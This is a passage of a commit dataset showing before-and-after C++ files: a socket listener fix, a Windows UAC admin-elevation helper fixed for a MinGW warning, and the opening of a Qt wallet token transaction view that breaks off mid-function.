Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <errno.h>\n\n#include \"listen.h\"\n#include \"log.h\"\n#define CLASS_MODULE \"listen\"\n\n#define dprintf(fmt, arg...) __dprintf(DBG_SERVE, fmt, ##arg)\n\n\nsocket_listen::socket_listen()\n  : h_thread((pthread_t)NULL)\n  , f_kill_thread(false)\n  , sock_fd(-1)\n  , port(0)\n  , m_socket_listen_iface(NULL)\n{\n\tdprintf(\"()\");\n}\n\nsocket_listen::~socket_listen()\n{\n\tdprintf(\"()\");\n\n\tclose_socket();\n}\n\nsocket_listen::socket_listen(const socket_listen&)\n{\n\tdprintf(\"(copy)\");\n\th_thread = (pthread_t)NULL;\n\tf_kill_thread = false;\n\tsock_fd = -1;\n\tport = 0;\n\tm_socket_listen_iface = NULL;\n}\n\nsocket_listen& socket_listen::operator= (const socket_listen& cSource)\n{\n\tdprintf(\"(operator=)\");\n\n\tif (this == &cSource)\n\t\treturn *this;\n\n\th_thread = (pthread_t)NULL;\n\tf_kill_thread = false;\n\tsock_fd = -1;\n\tport = 0;\n\tm_socket_listen_iface = NULL;\n\n\treturn *this;\n}\n\nvoid socket_listen::close_socket()\n{\n\tdprintf(\"()\");\n\n\tif (sock_fd >= 0) {\n\t\tclose(sock_fd);\n\t\tsock_fd = -1;\n\t}\n\tport = 0;\n}\n\nvoid socket_listen::stop()\n{\n\tdprintf(\"()\");\n\n\tstop_without_wait();\n\n\twhile (-1 != sock_fd) {\n\t\tusleep(20*1000);\n\t}\n\treturn;\n}\n\nint socket_listen::start(uint16_t port_requested)\n{\n\tstruct sockaddr_in tcp_sock;\n\n\tdprintf(\"()\");\n\n\tmemset(&tcp_sock, 0, sizeof(tcp_sock));\n\n\tf_kill_thread = false;\n\n\tsock_fd = socket(AF_INET, SOCK_STREAM, 0);\n\tif (sock_fd < 0) {\n\t\tperror(\"open socket failed\");\n\t\treturn sock_fd;\n\t}\n\n\tint reuse = 1;\n\tif (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)) < 0) {\n\t\tperror(\"setting reuse failed\");\n\t\treturn -1;\n\t}\n\n\ttcp_sock.sin_family = AF_INET;\n\ttcp_sock.sin_port = htons(port_requested);\n\ttcp_sock.sin_addr.s_addr = INADDR_ANY;\n\n\tif (bind(sock_fd, (struct sockaddr*)&tcp_sock, sizeof(tcp_sock)) < 0) {\n\t\tperror(\"bind to local interface failed\");\n\t\treturn -1;\n\t}\n\tport = port_requested;\n\n\tint fl = fcntl(sock_fd, F_GETFL, 0);\n\tif (fcntl(sock_fd, F_SETFL, fl | O_NONBLOCK) < 0) {\n\t\tperror(\"set non-blocking failed\");\n\t\treturn -1;\n\t}\n#define MAX_SOCKETS 4\n\tlisten(sock_fd, MAX_SOCKETS);\n\n\tint ret = pthread_create(&h_thread, NULL, listen_thread, this);\n\n\tif (0 != ret)\n\t\tperror(\"pthread_create() failed\");\n\n\treturn ret;\n}\n\nint socket_listen::start_udp(uint16_t port_requested)\n{\n\tstruct sockaddr_in udp_sock;\n\n\tdprintf(\"()\");\n\n\tmemset(&udp_sock, 0, sizeof(udp_sock));\n\n\tf_kill_thread = false;\n\n\tsock_fd = socket(AF_INET, SOCK_DGRAM, 0);\n\tif (sock_fd < 0) {\n\t\tperror(\"open socket failed\");\n\t\treturn sock_fd;\n\t}\n\n\tint reuse = 1;\n\tif (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)) < 0) {\n\t\tperror(\"setting reuse failed\");\n\t\treturn -1;\n\t}\n\n\tudp_sock.sin_family = AF_INET;\n\tudp_sock.sin_port = htons(port_requested);\n\tudp_sock.sin_addr.s_addr = INADDR_ANY;\n\n\tif (bind(sock_fd, (struct sockaddr*)&udp_sock, sizeof(udp_sock)) < 0) {\n\t\tperror(\"bind to local interface failed\");\n\t\treturn -1;\n\t}\n\n\tint fl = fcntl(sock_fd, F_GETFL, 0);\n\tif (fcntl(sock_fd, F_SETFL, fl | O_NONBLOCK) < 0) {\n\t\tperror(\"set non-blocking failed\");\n\t\treturn -1;\n\t}\n\n\tint ret = pthread_create(&h_thread, NULL, udp_listen_thread, this);\n\n\tif (0 != ret)\n\t\tperror(\"pthread_create() failed\");\n\n\treturn ret;\n}\n\nvoid* socket_listen::listen_thread(void *p_this)\n{\n\treturn static_cast<socket_listen*>(p_this)->listen_thread();\n}\n\nvoid* socket_listen::listen_thread()\n{\n\tstruct sockaddr_in tcpsa;\n\tsocklen_t salen = sizeof(tcpsa);\n\n\tdprintf(\"(%d)\", sock_fd);\n\n\twhile (!f_kill_thread) {\n\t\tint accepted_sock_fd = accept(sock_fd, (struct sockaddr*)&tcpsa, &salen);\n\t\tif (accepted_sock_fd >= 0) {\n\t\t\tif (m_socket_listen_iface) {\n\t\t\t\tm_socket_listen_iface->accept_socket(accepted_sock_fd);\n\t\t\t} else {\n\t\t\t\tdprintf(\"(accept_socket callback not defined!)\");\n\t\t\t\tclose(accepted_sock_fd);\n\t\t\t}\n\t\t}\n\t\tusleep(20*1000);\n\t}\n\n\tclose_socket();\n\tpthread_exit(NULL);\n}\n\nvoid* socket_listen::udp_listen_thread(void *p_this)\n{\n\treturn static_cast<socket_listen*>(p_this)->udp_listen_thread();\n}\n\nvoid* socket_listen::udp_listen_thread()\n{\n\tdprintf(\"(%d)\", sock_fd);\n\n\twhile (!f_kill_thread) {\n\t\tif (sock_fd != -1) {\n\t\t\tif (m_socket_listen_iface)\n\t\t\t\tm_socket_listen_iface->accept_socket(sock_fd);\n\t\t\telse\n\t\t\t\tdprintf(\"(accept_socket callback not defined!)\");\n\t\t}\n\t\tusleep(20*1000);\n\t}\n\n\tclose_socket();\n\tpthread_exit(NULL);\n}\n<commit_msg>listen: set accepted_sock_fd to -1 after close()<commit_after>\/*****************************************************************************\n * Copyright (C) 2011-2014 Michael Ira Krufky\n *\n * Author: Michael Ira Krufky <mkrufky@linuxtv.org>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <errno.h>\n\n#include \"listen.h\"\n#include \"log.h\"\n#define CLASS_MODULE \"listen\"\n\n#define dprintf(fmt, arg...) __dprintf(DBG_SERVE, fmt, ##arg)\n\n\nsocket_listen::socket_listen()\n  : h_thread((pthread_t)NULL)\n  , f_kill_thread(false)\n  , sock_fd(-1)\n  , port(0)\n  , m_socket_listen_iface(NULL)\n{\n\tdprintf(\"()\");\n}\n\nsocket_listen::~socket_listen()\n{\n\tdprintf(\"()\");\n\n\tclose_socket();\n}\n\nsocket_listen::socket_listen(const socket_listen&)\n{\n\tdprintf(\"(copy)\");\n\th_thread = (pthread_t)NULL;\n\tf_kill_thread = false;\n\tsock_fd = -1;\n\tport = 0;\n\tm_socket_listen_iface = NULL;\n}\n\nsocket_listen& socket_listen::operator= (const socket_listen& cSource)\n{\n\tdprintf(\"(operator=)\");\n\n\tif (this == &cSource)\n\t\treturn *this;\n\n\th_thread = (pthread_t)NULL;\n\tf_kill_thread = false;\n\tsock_fd = -1;\n\tport = 0;\n\tm_socket_listen_iface = NULL;\n\n\treturn *this;\n}\n\nvoid socket_listen::close_socket()\n{\n\tdprintf(\"()\");\n\n\tif (sock_fd >= 0) {\n\t\tclose(sock_fd);\n\t\tsock_fd = -1;\n\t}\n\tport = 0;\n}\n\nvoid socket_listen::stop()\n{\n\tdprintf(\"()\");\n\n\tstop_without_wait();\n\n\twhile (-1 != sock_fd) {\n\t\tusleep(20*1000);\n\t}\n\treturn;\n}\n\nint socket_listen::start(uint16_t port_requested)\n{\n\tstruct sockaddr_in tcp_sock;\n\n\tdprintf(\"()\");\n\n\tmemset(&tcp_sock, 0, sizeof(tcp_sock));\n\n\tf_kill_thread = false;\n\n\tsock_fd = socket(AF_INET, SOCK_STREAM, 0);\n\tif (sock_fd < 0) {\n\t\tperror(\"open socket failed\");\n\t\treturn sock_fd;\n\t}\n\n\tint reuse = 1;\n\tif (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)) < 0) {\n\t\tperror(\"setting reuse failed\");\n\t\treturn -1;\n\t}\n\n\ttcp_sock.sin_family = AF_INET;\n\ttcp_sock.sin_port = htons(port_requested);\n\ttcp_sock.sin_addr.s_addr = INADDR_ANY;\n\n\tif (bind(sock_fd, (struct sockaddr*)&tcp_sock, sizeof(tcp_sock)) < 0) {\n\t\tperror(\"bind to local interface failed\");\n\t\treturn -1;\n\t}\n\tport = port_requested;\n\n\tint fl = fcntl(sock_fd, F_GETFL, 0);\n\tif (fcntl(sock_fd, F_SETFL, fl | O_NONBLOCK) < 0) {\n\t\tperror(\"set non-blocking failed\");\n\t\treturn -1;\n\t}\n#define MAX_SOCKETS 4\n\tlisten(sock_fd, MAX_SOCKETS);\n\n\tint ret = pthread_create(&h_thread, NULL, listen_thread, this);\n\n\tif (0 != ret)\n\t\tperror(\"pthread_create() failed\");\n\n\treturn ret;\n}\n\nint socket_listen::start_udp(uint16_t port_requested)\n{\n\tstruct sockaddr_in udp_sock;\n\n\tdprintf(\"()\");\n\n\tmemset(&udp_sock, 0, sizeof(udp_sock));\n\n\tf_kill_thread = false;\n\n\tsock_fd = socket(AF_INET, SOCK_DGRAM, 0);\n\tif (sock_fd < 0) {\n\t\tperror(\"open socket failed\");\n\t\treturn sock_fd;\n\t}\n\n\tint reuse = 1;\n\tif (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse)) < 0) {\n\t\tperror(\"setting reuse failed\");\n\t\treturn -1;\n\t}\n\n\tudp_sock.sin_family = AF_INET;\n\tudp_sock.sin_port = htons(port_requested);\n\tudp_sock.sin_addr.s_addr = INADDR_ANY;\n\n\tif (bind(sock_fd, (struct sockaddr*)&udp_sock, sizeof(udp_sock)) < 0) {\n\t\tperror(\"bind to local interface failed\");\n\t\treturn -1;\n\t}\n\n\tint fl = fcntl(sock_fd, F_GETFL, 0);\n\tif (fcntl(sock_fd, F_SETFL, fl | O_NONBLOCK) < 0) {\n\t\tperror(\"set non-blocking failed\");\n\t\treturn -1;\n\t}\n\n\tint ret = pthread_create(&h_thread, NULL, udp_listen_thread, this);\n\n\tif (0 != ret)\n\t\tperror(\"pthread_create() failed\");\n\n\treturn ret;\n}\n\nvoid* socket_listen::listen_thread(void *p_this)\n{\n\treturn static_cast<socket_listen*>(p_this)->listen_thread();\n}\n\nvoid* socket_listen::listen_thread()\n{\n\tstruct sockaddr_in tcpsa;\n\tsocklen_t salen = sizeof(tcpsa);\n\n\tdprintf(\"(%d)\", sock_fd);\n\n\twhile (!f_kill_thread) {\n\t\tint accepted_sock_fd = accept(sock_fd, (struct sockaddr*)&tcpsa, &salen);\n\t\tif (accepted_sock_fd >= 0) {\n\t\t\tif (m_socket_listen_iface) {\n\t\t\t\tm_socket_listen_iface->accept_socket(accepted_sock_fd);\n\t\t\t} else {\n\t\t\t\tdprintf(\"(accept_socket callback not defined!)\");\n\t\t\t\tclose(accepted_sock_fd);\n\t\t\t\taccepted_sock_fd = -1;\n\t\t\t}\n\t\t}\n\t\tusleep(20*1000);\n\t}\n\n\tclose_socket();\n\tpthread_exit(NULL);\n}\n\nvoid* socket_listen::udp_listen_thread(void *p_this)\n{\n\treturn static_cast<socket_listen*>(p_this)->udp_listen_thread();\n}\n\nvoid* socket_listen::udp_listen_thread()\n{\n\tdprintf(\"(%d)\", sock_fd);\n\n\twhile (!f_kill_thread) {\n\t\tif (sock_fd != -1) {\n\t\t\tif (m_socket_listen_iface)\n\t\t\t\tm_socket_listen_iface->accept_socket(sock_fd);\n\t\t\telse\n\t\t\t\tdprintf(\"(accept_socket callback not defined!)\");\n\t\t}\n\t\tusleep(20*1000);\n\t}\n\n\tclose_socket();\n\tpthread_exit(NULL);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** Copyright (C) 2015 The Qt Company Ltd.\n** Contact: http:\/\/www.qt.io\/licensing\/\n**\n** This file is part of the Qt Installer Framework.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms\n** and conditions see http:\/\/qt.io\/terms-conditions. For further\n** information use the contact form at http:\/\/www.qt.io\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 or version 3 as published by the Free\n** Software Foundation and appearing in the file LICENSE.LGPLv21 and\n** LICENSE.LGPLv3 included in the packaging of this file. Please review the\n** following information to ensure the GNU Lesser General Public License\n** requirements will be met: https:\/\/www.gnu.org\/licenses\/lgpl.html and\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** As a special exception, The Qt Company gives you certain additional\n** rights. These rights are described in The Qt Company LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n**\n** $QT_END_LICENSE$\n**\n**************************************************************************\/\n\n#include \"adminauthorization.h\"\n#include <QSettings>\n#include <QVariant>\n#include <QDir>\n#include <qt_windows.h>\nusing namespace QtAutoUpdater;\n\nstatic QString qt_create_commandline(const QStringList &arguments);\n\nstruct DeCoInitializer\n{\n    DeCoInitializer()\n        : neededCoInit(CoInitialize(NULL) == S_OK)\n    {\n    }\n    ~DeCoInitializer()\n    {\n        if (neededCoInit)\n            CoUninitialize();\n    }\n    bool neededCoInit;\n};\n\nbool AdminAuthorization::hasAdminRights()\n{\n    SID_IDENTIFIER_AUTHORITY authority = { SECURITY_NT_AUTHORITY };\n    PSID adminGroup;\n    \/\/ Initialize SID.\n    if (!AllocateAndInitializeSid(&authority,\n                                  2,\n                                  SECURITY_BUILTIN_DOMAIN_RID,\n                                  DOMAIN_ALIAS_RID_ADMINS,\n                                  0, 0, 0, 0, 0, 0,\n                                  &adminGroup))\n        return false;\n\n    BOOL isInAdminGroup = FALSE;\n    if (!CheckTokenMembership(0, adminGroup, &isInAdminGroup))\n        isInAdminGroup = FALSE;\n\n    FreeSid(adminGroup);\n    return isInAdminGroup;\n}\n\nbool AdminAuthorization::executeAsAdmin(const QString &program, const QStringList &arguments)\n{\n    DeCoInitializer _;\n\n    \/\/ AdminAuthorization::execute uses UAC to ask for admin privileges. If the user is no\n    \/\/ administrator yet and the computer's policies are set to not use UAC (which is the case\n    \/\/ in some corporate networks), the call to execute() will simply succeed and not at all\n    \/\/ launch the child process. To avoid this, we detect this situation here and return early.\n\tif (!this->hasAdminRights()) {\n\t\tQLatin1String key(\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\");\n        QSettings registry(key, QSettings::NativeFormat);\n        const QVariant enableLUA = registry.value(QLatin1String(\"EnableLUA\"));\n        if ((enableLUA.type() == QVariant::Int) && (enableLUA.toInt() == 0))\n            return false;\n    }\n\n    const QString file = QDir::toNativeSeparators(program);\n\tconst QString args = qt_create_commandline(arguments);\n\n\tSHELLEXECUTEINFOW shellExecuteInfo = { 0 };\n\tshellExecuteInfo.cbSize = sizeof(SHELLEXECUTEINFOW);\n    shellExecuteInfo.lpVerb = L\"runas\";\n\tshellExecuteInfo.lpFile = (wchar_t *)file.utf16();\n\tshellExecuteInfo.lpParameters = (wchar_t *)args.utf16();\n\tshellExecuteInfo.nShow = SW_SHOW;\n\n\tif (ShellExecuteExW(&shellExecuteInfo))\n        return true;\n\telse\n\t\treturn false;\n}\n\nQString qt_create_commandline(const QStringList &arguments)\n{\n    QString args;\n    for (int i = 0; i < arguments.size(); ++i) {\n        QString tmp = arguments.at(i);\n        \/\/ in the case of \\\" already being in the string the \\ must also be escaped\n        tmp.replace(QLatin1String(\"\\\\\\\"\"), QLatin1String(\"\\\\\\\\\\\"\"));\n        \/\/ escape a single \" because the arguments will be parsed\n        tmp.replace(QLatin1Char('\\\"'), QLatin1String(\"\\\\\\\"\"));\n        if (tmp.isEmpty() || tmp.contains(QLatin1Char(' ')) || tmp.contains(QLatin1Char('\\t'))) {\n            \/\/ The argument must not end with a \\ since this would be interpreted\n            \/\/ as escaping the quote -- rather put the \\ behind the quote: e.g.\n            \/\/ rather use \"foo\"\\ than \"foo\\\"\n            QString endQuote(QLatin1Char('\\\"'));\n            int i = tmp.length();\n            while (i > 0 && tmp.at(i - 1) == QLatin1Char('\\\\')) {\n                --i;\n                endQuote += QLatin1Char('\\\\');\n            }\n            args += QLatin1String(\" \\\"\") + tmp.left(i) + endQuote;\n        } else {\n            args += QLatin1Char(' ') + tmp;\n        }\n    }\n    return args;\n}\n<commit_msg>fixed mingw warning windows<commit_after>\/**************************************************************************\n**\n** Copyright (C) 2015 The Qt Company Ltd.\n** Contact: http:\/\/www.qt.io\/licensing\/\n**\n** This file is part of the Qt Installer Framework.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and The Qt Company. For licensing terms\n** and conditions see http:\/\/qt.io\/terms-conditions. For further\n** information use the contact form at http:\/\/www.qt.io\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 or version 3 as published by the Free\n** Software Foundation and appearing in the file LICENSE.LGPLv21 and\n** LICENSE.LGPLv3 included in the packaging of this file. Please review the\n** following information to ensure the GNU Lesser General Public License\n** requirements will be met: https:\/\/www.gnu.org\/licenses\/lgpl.html and\n** http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** As a special exception, The Qt Company gives you certain additional\n** rights. These rights are described in The Qt Company LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n**\n** $QT_END_LICENSE$\n**\n**************************************************************************\/\n\n#include \"adminauthorization.h\"\n#include <QSettings>\n#include <QVariant>\n#include <QDir>\n#include <qt_windows.h>\nusing namespace QtAutoUpdater;\n\nstatic QString qt_create_commandline(const QStringList &arguments);\n\nstruct DeCoInitializer\n{\n    DeCoInitializer()\n        : neededCoInit(CoInitialize(NULL) == S_OK)\n    {\n    }\n    ~DeCoInitializer()\n    {\n        if (neededCoInit)\n            CoUninitialize();\n    }\n    bool neededCoInit;\n};\n\nbool AdminAuthorization::hasAdminRights()\n{\n    SID_IDENTIFIER_AUTHORITY authority = { SECURITY_NT_AUTHORITY };\n    PSID adminGroup;\n    \/\/ Initialize SID.\n    if (!AllocateAndInitializeSid(&authority,\n                                  2,\n                                  SECURITY_BUILTIN_DOMAIN_RID,\n                                  DOMAIN_ALIAS_RID_ADMINS,\n                                  0, 0, 0, 0, 0, 0,\n                                  &adminGroup))\n        return false;\n\n    BOOL isInAdminGroup = FALSE;\n    if (!CheckTokenMembership(0, adminGroup, &isInAdminGroup))\n        isInAdminGroup = FALSE;\n\n    FreeSid(adminGroup);\n    return isInAdminGroup;\n}\n\nbool AdminAuthorization::executeAsAdmin(const QString &program, const QStringList &arguments)\n{\n    DeCoInitializer _;\n\n    \/\/ AdminAuthorization::execute uses UAC to ask for admin privileges. If the user is no\n    \/\/ administrator yet and the computer's policies are set to not use UAC (which is the case\n    \/\/ in some corporate networks), the call to execute() will simply succeed and not at all\n    \/\/ launch the child process. To avoid this, we detect this situation here and return early.\n\tif (!this->hasAdminRights()) {\n\t\tQLatin1String key(\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\");\n        QSettings registry(key, QSettings::NativeFormat);\n        const QVariant enableLUA = registry.value(QLatin1String(\"EnableLUA\"));\n        if ((enableLUA.type() == QVariant::Int) && (enableLUA.toInt() == 0))\n            return false;\n    }\n\n    const QString file = QDir::toNativeSeparators(program);\n\tconst QString args = qt_create_commandline(arguments);\n\n\tSHELLEXECUTEINFOW shellExecuteInfo;\n\tZeroMemory(&shellExecuteInfo, sizeof(SHELLEXECUTEINFOW));\n\tshellExecuteInfo.cbSize = sizeof(SHELLEXECUTEINFOW);\n    shellExecuteInfo.lpVerb = L\"runas\";\n\tshellExecuteInfo.lpFile = (wchar_t *)file.utf16();\n\tshellExecuteInfo.lpParameters = (wchar_t *)args.utf16();\n\tshellExecuteInfo.nShow = SW_SHOW;\n\n\tif (ShellExecuteExW(&shellExecuteInfo))\n        return true;\n\telse\n\t\treturn false;\n}\n\nQString qt_create_commandline(const QStringList &arguments)\n{\n    QString args;\n    for (int i = 0; i < arguments.size(); ++i) {\n        QString tmp = arguments.at(i);\n        \/\/ in the case of \\\" already being in the string the \\ must also be escaped\n        tmp.replace(QLatin1String(\"\\\\\\\"\"), QLatin1String(\"\\\\\\\\\\\"\"));\n        \/\/ escape a single \" because the arguments will be parsed\n        tmp.replace(QLatin1Char('\\\"'), QLatin1String(\"\\\\\\\"\"));\n        if (tmp.isEmpty() || tmp.contains(QLatin1Char(' ')) || tmp.contains(QLatin1Char('\\t'))) {\n            \/\/ The argument must not end with a \\ since this would be interpreted\n            \/\/ as escaping the quote -- rather put the \\ behind the quote: e.g.\n            \/\/ rather use \"foo\"\\ than \"foo\\\"\n            QString endQuote(QLatin1Char('\\\"'));\n            int i = tmp.length();\n            while (i > 0 && tmp.at(i - 1) == QLatin1Char('\\\\')) {\n                --i;\n                endQuote += QLatin1Char('\\\\');\n            }\n            args += QLatin1String(\" \\\"\") + tmp.left(i) + endQuote;\n        } else {\n            args += QLatin1Char(' ') + tmp;\n        }\n    }\n    return args;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"tokentransactionview.h\"\r\n\r\n#include \"walletmodel.h\"\r\n#include \"platformstyle.h\"\r\n#include \"tokentransactiontablemodel.h\"\r\n#include \"tokentransactionrecord.h\"\r\n#include \"tokenfilterproxy.h\"\r\n#include \"guiutil.h\"\r\n#include \"optionsmodel.h\"\r\n#include \"tokenitemmodel.h\"\r\n#include \"tokendescdialog.h\"\r\n\r\n#include <QComboBox>\r\n#include <QDateTimeEdit>\r\n#include <QDoubleValidator>\r\n#include <QHBoxLayout>\r\n#include <QHeaderView>\r\n#include <QLabel>\r\n#include <QLineEdit>\r\n#include <QMenu>\r\n#include <QPoint>\r\n#include <QScrollBar>\r\n#include <QTableView>\r\n#include <QVBoxLayout>\r\n#include <QRegularExpressionValidator>\r\n\r\n#define paternTokenAmount \"^[0-9]{1,59}\\\\.{1,1}[0-9]{0,18}\"\r\n\r\nTokenTransactionView::TokenTransactionView(const PlatformStyle *platformStyle, QWidget *parent) :\r\n    QWidget(parent),\r\n    model(0),\r\n    tokenProxyModel(0),\r\n    tokenView(0),\r\n    columnResizingFixer(0)\r\n{\r\n    \/\/ Build filter row\r\n    setContentsMargins(0,0,0,0);\r\n\r\n    QHBoxLayout *hlayout = new QHBoxLayout();\r\n    hlayout->setContentsMargins(0,0,0,0);\r\n\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        hlayout->setSpacing(5);\r\n        hlayout->addSpacing(STATUS_COLUMN_WIDTH + 3);\r\n    } else {\r\n        hlayout->setSpacing(0);\r\n        hlayout->addSpacing(STATUS_COLUMN_WIDTH);\r\n    }\r\n\r\n    dateWidget = new QComboBox(this);\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        dateWidget->setFixedWidth(DATE_COLUMN_WIDTH + 1);\r\n    } else {\r\n        dateWidget->setFixedWidth(DATE_COLUMN_WIDTH);\r\n    }\r\n    dateWidget->addItem(tr(\"All\"), All);\r\n    dateWidget->addItem(tr(\"Today\"), Today);\r\n    dateWidget->addItem(tr(\"This week\"), ThisWeek);\r\n    dateWidget->addItem(tr(\"This month\"), ThisMonth);\r\n    dateWidget->addItem(tr(\"Last month\"), LastMonth);\r\n    dateWidget->addItem(tr(\"This year\"), ThisYear);\r\n    dateWidget->addItem(tr(\"Range...\"), Range);\r\n    hlayout->addWidget(dateWidget);\r\n\r\n    typeWidget = new QComboBox(this);\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        typeWidget->setFixedWidth(TYPE_COLUMN_WIDTH + 1);\r\n    } else {\r\n        typeWidget->setFixedWidth(TYPE_COLUMN_WIDTH);\r\n    }\r\n\r\n    typeWidget->addItem(tr(\"All\"), TokenFilterProxy::ALL_TYPES);\r\n    typeWidget->addItem(tr(\"Received with\"), TokenFilterProxy::TYPE(TokenTransactionRecord::RecvWithAddress));\r\n    typeWidget->addItem(tr(\"Sent to\"), TokenFilterProxy::TYPE(TokenTransactionRecord::SendToAddress));\r\n    typeWidget->addItem(tr(\"To yourself\"), TokenFilterProxy::TYPE(TokenTransactionRecord::SendToSelf));\r\n    hlayout->addWidget(typeWidget);\r\n\r\n    addressWidget = new QLineEdit(this);\r\n#if QT_VERSION >= 0x040700\r\n    addressWidget->setPlaceholderText(tr(\"Enter address to search\"));\r\n#endif\r\n    hlayout->addWidget(addressWidget);\r\n\r\n    nameWidget = new QComboBox(this);\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        nameWidget->setFixedWidth(NAME_COLUMN_WIDTH + 1);\r\n    } else {\r\n        nameWidget->setFixedWidth(NAME_COLUMN_WIDTH);\r\n    }\r\n    nameWidget->addItem(tr(\"All\"), \"\");\r\n\r\n    hlayout->addWidget(nameWidget);\r\n\r\n    amountWidget = new QLineEdit(this);\r\n#if QT_VERSION >= 0x040700\r\n    amountWidget->setPlaceholderText(tr(\"Min amount\"));\r\n#endif\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        amountWidget->setFixedWidth(AMOUNT_MINIMUM_COLUMN_WIDTH - 3);\r\n    } else {\r\n        amountWidget->setFixedWidth(AMOUNT_MINIMUM_COLUMN_WIDTH);\r\n    }\r\n    QRegularExpression regEx;\r\n    regEx.setPattern(paternTokenAmount);\r\n    QRegularExpressionValidator *validator = new QRegularExpressionValidator(amountWidget);\r\n    validator->setRegularExpression(regEx);\r\n    amountWidget->setValidator(validator);\r\n    hlayout->addWidget(amountWidget);\r\n\r\n    QVBoxLayout *vlayout = new QVBoxLayout(this);\r\n    vlayout->setContentsMargins(0,0,0,0);\r\n    vlayout->setSpacing(0);\r\n\r\n    QTableView *view = new QTableView(this);\r\n    vlayout->addLayout(hlayout);\r\n    vlayout->addWidget(createDateRangeWidget());\r\n    vlayout->addWidget(view);\r\n    vlayout->setSpacing(0);\r\n    int width = view->verticalScrollBar()->sizeHint().width();\r\n    \/\/ Cover scroll bar width with spacing\r\n    if (platformStyle->getUseExtraSpacing()) {\r\n        hlayout->addSpacing(width+2);\r\n    } else {\r\n        hlayout->addSpacing(width);\r\n    }\r\n    \/\/ Always show scroll bar\r\n    view->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOn);\r\n    view->setTabKeyNavigation(false);\r\n    view->setContextMenuPolicy(Qt::CustomContextMenu);\r\n\r\n    view->installEventFilter(this);\r\n    tokenView = view;\r\n\r\n    \/\/ Actions\r\n    QAction *copyAddressAction = new QAction(tr(\"Copy address\"), this);\r\n    QAction *copyAmountAction = new QAction(tr(\"Copy amount\"), this);\r\n    QAction *copyTxIDAction = new QAction(tr(\"Copy transaction ID\"), this);\r\n    QAction *copyTxPlainText = new QAction(tr(\"Copy full transaction details\"), this);\r\n    QAction *showDetailsAction = new QAction(tr(\"Show transaction details\"), this);\r\n\r\n    contextMenu = new QMenu(tokenView);\r\n    contextMenu->addAction(copyAddressAction);\r\n    contextMenu->addAction(copyAmountAction);\r\n    contextMenu->addAction(copyTxIDAction);\r\n    contextMenu->addAction(copyTxPlainText);\r\n    contextMenu->addAction(showDetailsAction);\r\n\r\n    connect(dateWidget, SIGNAL(activated(int)), this, SLOT(chooseDate(int)));\r\n    connect(typeWidget, SIGNAL(activated(int)), this, SLOT(chooseType(int)));\r\n    connect(addressWidget, SIGNAL(textChanged(QString)), this, SLOT(changedPrefix(QString)));\r\n    connect(amountWidget, SIGNAL(textChanged(QString)), this, SLOT(changedAmount(QString)));\r\n    connect(nameWidget, SIGNAL(activated(int)), this, SLOT(chooseName(int)));\r\n\r\n    connect(view, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(contextualMenu(QPoint)));\r\n\r\n    connect(copyAddressAction, SIGNAL(triggered()), this, SLOT(copyAddress()));\r\n    connect(copyAmountAction, SIGNAL(triggered()), this, SLOT(copyAmount()));\r\n    connect(copyTxIDAction, SIGNAL(triggered()), this, SLOT(copyTxID()));\r\n    connect(copyTxPlainText, SIGNAL(triggered()), this, SLOT(copyTxPlainText()));\r\n    connect(showDetailsAction, SIGNAL(triggered()), this, SLOT(showDetails()));\r\n    connect(tokenView, SIGNAL(doubleClicked(QModelIndex)), this, SLOT(showDetails()));\r\n}\r\n\r\nvoid TokenTransactionView::setModel(WalletModel *_model)\r\n{\r\n    this->model = _model;\r\n    if(_model)\r\n    {\r\n        